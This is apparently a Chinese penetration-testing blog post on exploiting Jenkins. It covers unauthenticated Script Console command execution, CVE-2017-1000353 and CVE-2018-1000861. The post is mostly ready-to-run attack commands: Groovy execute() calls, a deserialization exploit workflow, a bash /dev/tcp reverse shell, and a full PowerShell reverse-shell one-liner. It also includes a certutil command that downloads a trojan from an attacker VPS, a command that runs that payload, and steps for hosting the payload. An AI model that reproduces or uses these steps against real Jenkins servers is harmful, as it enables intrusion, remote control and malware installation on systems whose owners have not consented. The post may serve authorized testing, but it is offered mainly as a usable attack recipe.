Jenkins未授权访问漏洞&命令执行


未授权访问

未授权访问地址

http://127.0.0.1:8080/manage

http://127.0.0.1:8080/script

访问manage页面

进入Script Console

进入Script Console之后是一个执行脚本的页面

执行命令

Linux

println “ifconfig”.execute().text

Windows

println “ipconfig /all”.execute().text

命令执行

版本:2.46.1(CVE-2017-1000353)

jar包下载地址

https://github.com/vulhub/CVE-2017-1000353/releases/download/1.1/CVE-2017-1000353-1.1-SNAPSHOT-all.jar

EXP下载地址

https://github.com/vulhub/CVE-2017-1000353

生成字节码命令

java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar 
#jenkins_poc.ser "touch /tmp/success"
#jenkins_poc.ser是生成的字节码文件名
#"touch ..."是待执行的任意命令
#可以把touch /tmp/success命令换成反弹shell命令或者新建用户命令

#Linux
反弹shell:bash -i >& /dev/tcp/127.0.0.1/9090 0>&1

#Windows
反弹shell:powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('127.0.0.1',);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

发送数据包执行命令

python3 exploit.py http://your-ip:8080 jenkins_poc.ser

版本:2.138(CVE-2018-1000861)

POC

http://your-ip:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript
?sandbox=true
&value=public class x {
  public x(){
    "touch /tmp/success".execute()
  }
}

查看端口开放

println "cmd /c netstat -an".execute().text

远程下载木马

println "cmd /c certutil -urlcache -split -f http://VPS IP:PORT/ProgramData.exe C:\Program Files\payload.exe".execute().text

执行木马

println "cmd /c C:\ProgramData\payload.exe".execute().text

本地复制文件到远程VPS

scp /Users/kangd1w2/Desktop/ProgramData.exe root@VPS IP:/root

python2

python2 -m SimpleHTTPServer 1337

python3

python3 -m http.server 1337

木马地址

http://VPS IP:PORT/ProgramData.exe


                              最后来听首歌放松一下

文章作者: 洋葱
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 洋葱 !
 上一篇
CobaltStrike和Metasploit联动 CobaltStrike和Metasploit联动
Cobalt strike 向 Msf传递会话当我们获得一个CS木马会话时,那么该怎么传递到msf呢?其实也挺简单的,再配置一个监听器,设置模块为Foreign HTTP。配置好后在上线的主机上右击Spawn(增加会话),选择Foreign
2021-05-31
下一篇 
CobaltStrike之团队服务器的搭建 CobaltStrike之团队服务器的搭建
简介 Cobalt Strike 一款以metasploit为基础的GUI的框框架式渗透工具, cobalt strike从3.0 开始,不再依赖于Metasploit框架而是作为一个独立的平台使用,Armitage的商业版,集成了端口发、
2020-09-05
  目录